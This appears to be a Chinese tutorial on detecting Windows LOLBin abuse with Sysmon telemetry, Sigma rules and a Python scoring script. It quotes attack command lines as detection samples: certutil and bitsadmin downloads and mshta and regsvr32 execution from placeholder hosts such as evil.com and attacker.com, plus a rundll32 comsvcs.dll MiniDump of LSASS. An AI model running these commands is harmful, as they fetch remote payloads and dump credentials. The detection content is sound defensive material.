基于 LOLBAS 检测 Living Off the Land 攻击:从 Sysmon 遥测到 Sigma 规则的完整实战指南
2026/9/12 16:34:01 网站建设 项目流程

基于 LOLBAS 检测 Living Off the Land 攻击:从 Sysmon 遥测到 Sigma 规则的完整实战指南

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

导读

本文基于 Anthropic-Cybersecurity-Skills 仓库中的 detecting-living-off-the-land-with-lolbas 技能文档,系统讲解如何利用 Sysmon 进程创建事件(Event ID 1)与 Windows 安全日志(4688)中的进程遥测,结合 Sigma 规则与父子进程关系分析,检测 certutil、mshta、regsvr32、rundll32 等 LOLBin 的滥用行为。读完本文,你将掌握从建立 LOLBin 监视清单、构建 Sigma 检测规则,到运行自动化检测脚本并生成带 MITRE ATT&CK 映射的结构化报告的完整闭环。

什么是 LOLBAS:合法的"双刃剑"

Living Off the Land Binaries, Scripts, and Libraries(LOLBAS)是指那些被攻击者滥用来执行恶意动作、同时规避传统可执行文件检测的合法系统工具。这类二进制文件经过微软签名、存在于每一台 Windows 主机中,因此能够穿透基于哈希黑名单、应用程序白名单和传统 AV 的防护体系。

本技能聚焦检测以下常用 LOLBin 的滥用:

  • certutil.exe(证书工具,常被用于下载/解码载荷)
  • regsvr32.exe(COM 注册工具,可远程加载 SCT 脚本)
  • mshta.exe(HTML Application 宿主,可执行远程 HTA)
  • rundll32.exe(DLL 加载器,可代理执行或转储凭据)
  • msbuild.exeinstallutilcmstpwmicbitsadmin

何时使用本技能

该技能适用于以下典型场景:

  • 调查需要检测 living off the land 滥用行为的安全事件;
  • 为这一检测领域构建 Sigma 检测规则或威胁狩猎查询;
  • SOC 分析师需要针对此类分析的结构化流程;
  • 验证相关攻击技术的安全监控覆盖率。

在仓库中,该技能还与其他攻击面形成互补:hunting-for-living-off-the-land-binaries 侧重主动威胁狩猎流程(提出假设、建立基线、识别异常),而本技能则聚焦"检测规则构建 + 自动化评分"的落地实现,两者配合可覆盖检测与狩猎两个阶段。

前置条件

动手前需要准备以下环境:

前置项说明
Sysmon 或 Windows 安全事件日志启用命令行捕获的 Event ID 4688,或 Sysmon Event ID 1
Sigma 规则转换工具sigmac 或 sigma-cli(pySigma)
SIEM 平台Splunk、Elastic 或同类日志接入系统
Python 3.8+需安装 pySigma 库
LOLBAS 项目参考数据库用于构建完整的 LOLBin 清单

六步检测工作流

SKILL.md 定义了从建立清单到输出报告的完整检测流程:

  1. 建立 LOLBin 监视清单(Watchlist)——构建一个按优先级排序的受监视二进制列表(certutil、mshta、regsvr32、rundll32、msbuild、installutil、cmstp、wmic、bitsadmin)。
  2. 采集进程遥测——接入 Sysmon Event ID 1(Process Create)和 Windows 4688 事件,确保完整命令行捕获已启用。
  3. 构建 Sigma 检测规则——针对每个 LOLBin,创建匹配可疑命令行参数、网络活动以及父子进程异常的 Sigma 规则。
  4. 分析父子进程关系——标记意外父进程生成 LOLBin 的情况(例如 Excel 生成 certutil、Word 生成 mshta)。
  5. 评分与告警分级——基于参数异常、父进程、执行路径和网络指标进行风险评分。
  6. 生成检测报告——产出包含 MITRE ATT&CK 映射的结构化 LOLBin 滥用检测报告。

关键信号源:Sysmon Event ID 1 进程创建

完整的命令行遥测是 LOLBin 检测的基础。Sysmon Event ID 1 捕获每个新进程的完整命令行参数,其关键字段结构如下(见 references/api-reference.md):

<EventID>1</EventID> <Data Name="Image">C:\Windows\System32\certutil.exe</Data> <Data Name="CommandLine">certutil -urlcache -split -f http://evil.com/payload.exe C:\Temp\p.exe</Data> <Data Name="ParentImage">C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE</Data> <Data Name="User">DOMAIN\jsmith</Data>

这一条事件中已包含三个核心检测维度:Image(哪个二进制被执行)、CommandLine(执行了什么参数,即攻击意图)以及ParentImage(谁启动了它,即攻击入口链)。自动化检测脚本正是基于这些字段进行解析与匹配。

核心 LOLBin 签名与 MITRE ATT&CK 映射

每个 LOLBin 都有其典型滥用模式。以下签名在 api-reference.md 中给出,并在 scripts/agent.py 中固化为可机检的匹配逻辑:

certutil.exe(T1140、T1105)

证书工具最常见的滥用是下载编解码载荷:

certutil -urlcache -split -f http://malicious.com/file.exe output.exe certutil -decode encoded.txt decoded.exe certutil -encode payload.exe encoded.txt

对应 MITRE ATT&CK:T1105(Ingress Tool Transfer,入站工具传输)与T1140(Deobfuscate/Decode Files,文件去混淆/解码)。

mshta.exe(T1218.005)

HTML Application 宿主可远程拉取 HTA 或直接内联脚本执行:

mshta http://attacker.com/malicious.hta mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""cmd"":close")

对应T1218.005(Signed Binary Proxy Execution: Mshta,签名二进制代理执行)。

regsvr32.exe(T1218.010)

经典的Squiblydoo技巧,通过/i:参数远程加载 SCT 脚本,绕过应用白名单:

regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll

对应T1218.010(Regsvr32 签名二进制代理执行)。

rundll32.exe(T1218.011)

rundll32 既可用于代理执行脚本,也可配合 comsvcs.dll 转储 LSASS 内存实现凭据窃取:

rundll32.exe comsvcs.dll,MiniDump <lsass_pid> dump.bin full rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("...");

对应T1218.011(Rundll32 签名二进制代理执行)。

这些技术点在仓库的 ATTACK_COVERAGE.md 与 mappings/mitre-attack/README.md 中均被纳入统一的 ATT&CK 覆盖体系,其中T1218 系列(Signed Binary Proxy Execution)是 LOLBin 检测的核心技术族。

自动化检测实现:agent.py 源码剖析

仓库为该技能提供了完整的可运行实现 scripts/agent.py,将上述签名固化为可扩展的检测引擎。其核心数据结构LOLBIN_SIGNATURES覆盖 8 个关键二进制:

二进制可疑参数特征MITRE 技术说明
certutil.exe-urlcache-split-decode-encode-f http-verifyctlT1140证书工具被滥用于下载/解码
mshta.exehttp://javascript:vbscript:.htaT1218.005HTA 宿主执行远程内容
regsvr32.exe/s /n /u /i:http/i:httpscrobj.dll.sctT1218.010通过 regsvr32 执行 COM 脚本(Squiblydoo)
rundll32.exejavascript:http://shell32.dll,ShellExec_RunDLLcomsvcs.dll,MiniDumpT1218.011rundll32 代理执行或凭据转储
msbuild.exe.xml.csproj/p:、inline taskT1127.001MSBuild 内联任务代码执行
bitsadmin.exe/transfer/create/addfile/resume/completeT1197BITS 任务用于下载或持久化
wmic.exeprocess call create/node:os getformat:T1047WMI 命令行执行或侦察
cmstp.exe/ni/s.infT1218.003CMSTP 配合恶意 INF 实现 UAC 绕过

父子进程关系分析

检测器内置了SUSPICIOUS_PARENTS集合,识别那些不应生成 LOLBin的可疑父进程:

SUSPICIOUS_PARENTS = { "winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe", "wmiprvse.exe", "svchost.exe", "taskeng.exe", "cmd.exe", }

办公软件(Word/Excel/PowerPoint/Outlook)是钓鱼攻击的经典入口,系统进程(wmiprvse/svchost/taskeng)被劫持则常与无文件攻击相关。当 LOLBin 的父进程命中该集合时,事件被标记为parent_suspicious

三级严重度评分

检测器基于父进程可疑性命中签名数量两个维度进行风险分级:

  • medium:默认级别,LOLBin 参数命中至少一个可疑签名;
  • high:父进程属于可疑集合(如 Excel 生成 certutil);
  • critical:同一进程命中多个可疑参数签名(参数行为高度异常)。

运行方式

脚本提供 CLI 接口,可直接处理 Sysmon/4688 导出的 JSON 行日志:

# 分析日志文件并输出检测报告 python scripts/agent.py --log-file sysmon_events.jsonl # 指定输出路径 python scripts/agent.py --log-file sysmon_events.jsonl --output lolbas_report.json # 同时为全部 8 个 LOLBin 生成 Sigma 规则 python scripts/agent.py --log-file sysmon_events.jsonl --generate-sigma

从源码看(agent.py),其处理管线分为四层:parse_process_events解析 JSON 行日志(容忍坏行)→detect_lolbin_abuse完成二进制识别、参数匹配与父子进程判定 →generate_sigma_rule为每个二进制动态生成 Sigma 规则 →build_report聚合统计并输出 JSON 报告。每条检测记录都包含时间戳、二进制名、完整命令行、父进程、命中签名、MITRE 技术编号、严重度和用户等字段,可直接对接 SIEM 或纳入 SOAR 工单流程。

构建 Sigma 检测规则

Sigma 是通用的检测规则格式,可转换为 Splunk、Elastic 等各类 SIEM 查询。仓库给出了一个 certutil 下载行为的完整规则示例(api-reference.md):

title: Suspicious Certutil Download id: e011f510-fae2-4e3a-b31c-5d6c8e9faccd status: stable logsource: category: process_creation product: windows detection: selection: Image|endswith: '\certutil.exe' condition_args: CommandLine|contains|all: - '-urlcache' - '-f' - 'http' condition: selection and condition_args level: high tags: - attack.t1105 - attack.t1140

规则结构要点:logsource声明数据源为 Windows 进程创建日志;selection先锁定二进制镜像路径(Image|endswith: '\certutil.exe'),再用condition_args要求命令行同时包含-urlcache-fhttp三个关键子串(contains|all);condition将两者以 AND 组合,显著降低误报;tags提供 MITRE ATT&CK 技术映射,便于告警归并与统计。

agent.py 中的generate_sigma_rule函数会将上述模式固化为模板:以Image|endswith锁定二进制、以CommandLine|contains注入该二进制的可疑参数列表,并自动附加attack.<technique>标签,从而实现"一份签名表 → 批量生成 Sigma 规则"。

Sigma 规则转换与校验

使用 sigma-cli(pySigma)可轻松落地到具体 SIEM:

# 转换为 Splunk 查询 sigma convert -t splunk -p sysmon certutil_download.yml # 转换为 Elastic 查询 sigma convert -t elasticsearch -p ecs_windows certutil_download.yml # 校验 Sigma 规则语法 sigma check certutil_download.yml

-p sysmon表示套用 Sysmon 字段映射处理器(如将 Image 映射为 Sysmon 事件中的字段名),-p ecs_windows则面向 Elastic Common Schema。转换前务必用sigma check做语法校验,保证规则可被目标 SIEM 正确解析。

实战检测场景

结合 hunting-for-living-off-the-land-binaries 中归纳的典型攻击场景,检测器需要覆盖的常见滥用链包括:

  1. Certutil 下载投递certutil.exe -urlcache -split -f http://malicious.com/payload.exe下载恶意载荷——命中 T1105/T1140 签名组合。
  2. Mshta HTA 执行:通过邮件投递 HTA,由mshta.exe执行内嵌 VBScript——命中http://vbscript:.hta特征。
  3. Rundll32 DLL 代理加载rundll32.exe shell32.dll,ShellExec_RunDLL借道受信二进制代理执行——命中shell32.dll,ShellExec_RunDLL特征。
  4. Regsvr32 Squiblydoo:远程 SCT 脚本经regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll执行,绕过应用白名单。
  5. BITSAdmin 持久化bitsadmin /transfer反复下载并执行载荷,实现持久化。
  6. Office 宏链:Word/Excel 生成 mshta 或 certutil——父子进程分析的核心命中场景。

输出报告与 MITRE 映射

检测完成后输出结构化 JSON 报告,包含以下核心字段:

  • total_detections:检测事件总数;
  • severity_summary:按严重度(medium/high/critical)统计的分布;
  • detections_by_binary:按二进制聚合的命中数;
  • mitre_techniques:本次检测命中的全部 ATT&CK 技术编号去重列表;
  • detections:逐条检测明细(时间戳、命令行、父进程、命中签名、用户、PID 等)。

MITRE ATT&CK 映射是报告的关键组成部分。本技能覆盖的技术包括T1218(Signed Binary Proxy Execution,签名二进制代理执行)及其子技术T1218.003/.005/.010/.011T1105(Ingress Tool Transfer)、T1140(Deobfuscate/Decode Files)、T1127(Trusted Developer Utilities Proxy Execution)以及T1047(Windows Management Instrumentation)、T1197(BITS Jobs)。这些技术 ID 同时出现在该技能 frontmatter 的mitre_attack字段中,并与 D3FEND 技术(Executable Denylisting、Execution Isolation、Application Protocol Command Analysis 等)及 NIST CSF 控制(DE.CM-01、DE.AE-02、DE.AE-06、ID.RA-05)形成框架级映射,确保检测能力可审计、可纳入合规体系。

误报控制与落地建议

  1. 基线先行:先统计环境中各 LOLBin 的合法使用频率与典型父进程,再基于异常偏离做告警,避免将正常运维操作(如管理员手动使用 certutil 下载证书)判为恶意。
  2. 组合参数而非单一命中:采用 Sigma 规则中contains|all的思路,只有-urlcache + -f + http同时出现才告警,可显著降低误报。
  3. 父子进程加权:将 Office 组件、系统服务进程生成 LOLBin 作为高权重信号,结合严重度三级评分(medium/high/critical)指导告警处置优先级。
  4. 交叉关联:将进程遥测与网络日志、DNS 查询、文件创建事件关联,确认 LOLBin 是否伴随外联行为。
  5. 与狩猎流程配合:检测规则解决"已知模式命中",而 hunting-for-living-off-the-land-binaries 提供基于假设的主动狩猎方法论,两者结合可兼顾已知与未知威胁。

总结

本技能将 LOLBAS 检测拆解为"监视清单 → 遥测采集 → Sigma 规则 → 父子进程分析 → 风险评分 → 报告输出"六步闭环,并提供完整的可运行脚本与规则模板。通过 SKILL.md 定义流程、api-reference.md 提供签名与命令参考、agent.py 给出可直接执行的检测引擎,你可以在自己的 SIEM 环境中快速落地一套针对 certutil、mshta、regsvr32、rundll32 等常见 LOLBin 的实战检测能力,并将每一次检测结果映射到 MITRE ATT&CK 框架,纳入组织的威胁检测覆盖体系。

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询